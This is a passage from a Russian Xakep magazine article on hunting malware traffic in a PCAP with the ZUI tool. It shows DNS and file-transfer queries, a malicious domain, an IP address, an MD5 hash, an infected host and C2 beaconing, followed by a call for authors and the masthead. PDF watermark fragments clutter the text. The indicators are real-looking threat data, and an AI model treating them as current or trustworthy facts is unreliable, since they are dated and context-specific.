Для анализа нам понадобит ся вот этот файл
PCAP.
Начинаем
Найдем все вхождения DNS в файле PCAP. Для этого используем один из ранее приведен ных запросов .
_path=="dns" | count() by query | sort -r
Поиск всех вхождений DNS
Больше всего выделяются два адреса : 112.146.166.173.zen.spamhaus.org
и t-privat.de. Первый относит ся к платформе threat-intelligence под названи ем Spamhaus. А вот второй нам стоит проверить на VirusTotal. Для этого вызовем контекс тное меню и выберем VirusTotal Lookup.
VirusTotal в меню
VirusTotal проводит провер ку и сообщает нам, что домен вредонос ный и ранее использовал ся для хостинга малвари .
Резуль таты провер ки на VirusTotal
Найдем запись типа A и используем более старую дату резолва , которая ближе к дате публикации PCAP. Это будет адрес 81.169.145.161. Попробу ем найти совпадения в нашем файле PCAP.
Мы обнаружи ваем адрес, и наше внимание привлека ет то, что с него передается файл во внутреннюю сеть. Это очень подозритель но, надо иссле довать дальше .
Охота на адрес
Откро ем вкладку с этим коннектом и достанем оттуда MD5-хеш
997d6f2e3879bb725fb4747b0046bb50. Теперь нам надо проверить его на вре
доносность .
Файл на VirusTotal
Что ж, сомнения отпали , хост 10.9.1.101 — это наш первый зараженный .
С2 под прицелом
Надо найти все передаваемые файлы , которые содержатся в этом дампе . Для этого используем такую строку поиска :
filename!=null | cut _path, tx_hosts, rx_hosts, conn_uids, mime_
type, filename, md5, sha1
И что же мы видим? Еще один IP-адрес. Закидываем его на VirusTotal и убеж даемся , что он вредонос ный .
Новый подозритель ный адрес
Чтобы удостоверить ся , что это управляющий сервер , проверим остальные кон некты на этот адрес. Сразу становит ся очевид но : имеют место «маячковые отстукива ния ».
Новый подозритель ный адрес
Масштаб заражения
Отсорти руем трафик по тегам, чтобы представ лять самые частые типы вза имодей ствия между хостами .
_path | count() by _path | sort -r
Общая картина по трафику
Хм, можно сказать , что ничего указыва ющего на дальнейшее распростра нение малвари здесь нет. В таких рассле дованиях обычно рассчи тываешь увидеть активность SMB and DCE/RPC.
Для уверен ности, что заражение не пошло дальше , можно посмотреть кон некты, которые совершал первый (и, надеемся , последний ) инфициро ванный хост.
Масштаб ного заражения нет
Нам интерес ны коннекты только из той же подсети . Ничего подозритель ного не наблюда ется .
Итоги спидрана
Мы нашли несколь ко IOC, первый зараженный хост, С2-сервер , а также выяс нили, что дальше хоста 10.9.1.101 заражение не пошло .
ВЫВОДЫ
Сколько времени было потрачено на ожидание , пока Wireshark отобразит (если вообще отобразит ) список вхождений после фильтра ции при анализе боль шого файла PCAP... Для многих это станови лось настоящим испытани ем. Но теперь ты знаешь про существо вание ZUI, который заметно упростит твою работу.
ZUI, к сожалению , не может стать полноцен ной заменой Wireshark, он ско рее превраща ет утомитель ный процесс в продук тивную работу и бережет нер вы. Но в качестве помощника в анализе трафика он просто незаменим .
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
«Хакеру» нужны новые авторы, и ты можешь стать одним из них! Если тебе интересно то, о чем мы пишем, и есть желание исследовать эти темы вместе с нами, то не упусти возможность вступить в ряды наших авторов и получать за это все, что им причитается.
• Авторы получают денежное вознаграждение. Размер зависит от сложности и уникальности темы и объема проделанной работы (но не от объема текста).
•Наши авторы читают «Хакер» бесплатно: каждая опубликованная статья приносит месяц подписки и значительно увеличивает личную скидку. Уже после третьего раза подписка станет бесплатной навсегда.
Кроме того, наличие публикаций — это отличный способ показать работодателю и коллегам, что ты в теме. А еще мы планируем запуск англоязычной версии, так что у тебя будет шанс быть узнанным и за
рубежом.
И конечно, мы всегда указываем в статьях имя или псевдоним автора. На сайте ты можешь сам заполнить характеристику, поставить фото, написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или, наоборот, не делать этого в целях конспирации.
Я ТЕХНАРЬ, А НЕ ЖУРНАЛИСТ. ПОЛУЧИТСЯ ЛИ У МЕНЯ НАПИСАТЬ СТАТЬЮ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь тему — значит, и написать сможешь. Не умеешь — поможем, будешь сомневаться — поддержим, накосячишь — отредактируем. Не зря у нас работает столько редакторов! Они не только правят буквы, но и помогают с темами и форматом и «причесывают» авторский текст, если в этом есть необходимость. И конечно, перед публикацией мы согласуем с автором все правки и вносим новые, если нужно.
КАК ПРИДУМАТЬ ТЕМУ?
Темы для статей — дело непростое, но и не такое сложное, как может показаться. Стоит начать, и ты наверняка будешь придумывать темы одну за другой!
Первым делом задай себе несколько простых вопросов:
•«Разбираюсь ли я в чем то, что может заинтересовать других?»
Частый случай: люди делают что-то потрясающее, но считают свое занятие вполне обыденным. Если твоя мама и девушка не хотят слушать про реверс малвари, сборку ядра Linux, проектирование микропроцессоров или хранение данных в ДНК, это не значит, что у тебя не найдется благодарных читателей.
•«Были ли у меня в последнее время интересные проекты?» Если ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты разрабатываешь что-то необычное или даже просто настроил себе какую-то удобную штуковину, обязательно расскажи нам! Мы вместе придумаем, как лучше подать твои наработки.
•«Знаю ли я какую то историю, которая кажется мне крутой?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то с немалой вероятностью это может быть неплохой темой для статьи. Или как минимум натолкнет тебя на тему.
•«Не подмечал ли я, что в Хакере упустили что то важное?» Если мы о чем-то не писали, это могло быть не умышленно. Возможно, просто никому не пришла в голову эта тема или не было человека, который взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, подкинуть нам идею все равно можно.
Уговорили, каков план действий?
1.Придумываешь актуальную тему или несколько.
2.Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких предложений (pro tip: их потом можно пустить на введение).
3.Выбираешь редактора и отправляешь ему свои темы (можно главреду — он разберется). Заодно неплохо бывает представиться и написать пару слов о себе.
4.С редактором согласуете детали и сроки сдачи черновика. Также он выдает тебе правила оформления и отвечает на все интересующие вопросы.
5.Пишешь статью в срок и отправляешь ее. Если возникают какие-то проблемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6.Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8.Дожидаешься выхода статьи и поступления вознаграждения.
Если хочешь публиковаться в «Хакере», придумай тему для первой статьи и предложи редакции.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
№1 (286)
Андрей |
Письмен ный |
Вален тин Холмогоров |
Илья Русанен |
||||||
Главный редактор |
|
Ведущий редактор |
Разработ |
ка |
|||||
pismenny@glc.ru |
|
valentin@holmogorov.ru |
rusanen@glc.ru |
||||||
|
|
|
|
|
Евгения |
Шарипова |
|
|
|
|
|
|
|
Литератур ный редактор |
|
|
MEGANEWS
Мария Нефёдова nefedova@glc.ru
АРТ
yambuto yambuto@gmail.com
КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев , Олег Афонин , Марк Бруцкий Стемпковский , Алексей Глазков , Nik Zerof, Юрий Язев
РЕКЛАМА
Анна Яковлева
Директор по спецпро ектам yakovleva.a@glc.ru
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы |
по подписке |
: |
Вопросы по материалам |
: |
||||
|
lapina@glc.ru |
|
|
|
support@glc.ru |
|
||
|
|
|
|
|
|
|
|
|
Адрес редакции : 125080, город Москва , Волоколам ское шоссе , дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель : ИП Югай Александр Олегович , 400046, Волгоград ская область, г. Волгоград , ул. Дружбы народов, д. 54. Учредитель : ООО «Медиа Кар» 125080, город Москва , Волоколам ское шоссе , дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистри ровано в Федеральной службе по надзору в сфере связи , информацион ных технологий и массовых коммуника ций (Роскомнад зоре), свидетель ство Эл № ФС77-67001 от 30.08. 2016 года. Мнение редакции не обязатель но совпада ет с мнением авторов . Все материалы в номере предос тавляются как информация к раз мышлению . Лица, использующие данную информацию в противо законных целях, могут быть привлечены к ответствен ности. Редакция не несет ответствен ности за содержание рекламных объявле ний в номере. По вопросам лицензирова ния и получения прав на использование редакцион ных материалов журнала обращай тесь по адресу : xakep@glc.ru. © Журнал «Хакер», РФ, 2022